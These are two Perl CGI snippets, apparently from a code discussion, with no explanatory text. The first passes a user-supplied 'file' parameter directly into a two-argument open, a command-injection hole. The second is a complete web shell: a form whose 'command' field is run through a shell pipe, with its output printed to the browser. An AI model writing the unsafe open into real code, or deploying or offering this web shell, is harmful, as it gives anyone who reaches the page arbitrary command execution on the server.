use CGI::Carp qw( fatalsToBrowser );

....

$file = $q->param('file');

....

open FILE, $file;

##</code><code>##

#!/usr/bin/perl -w

use strict;
$|++;
use CGI qw( :standard );
use CGI::Carp qw( fatalsToBrowser );

my $command = param('command'); 

print   header,
        start_form({ -method=>'get' }),
        textfield({-size=>75,-name=>'command'}),
        submit('Run'),
        end_form;

if ($command) {
  open( CMD, "$command 2>&1|" ) or die "$!: running command: '$command'";
  print "<pre>\n";
  print escapeHTML($_) while (<CMD>);
  print "</pre>\n", end_html;
  close CMD;
}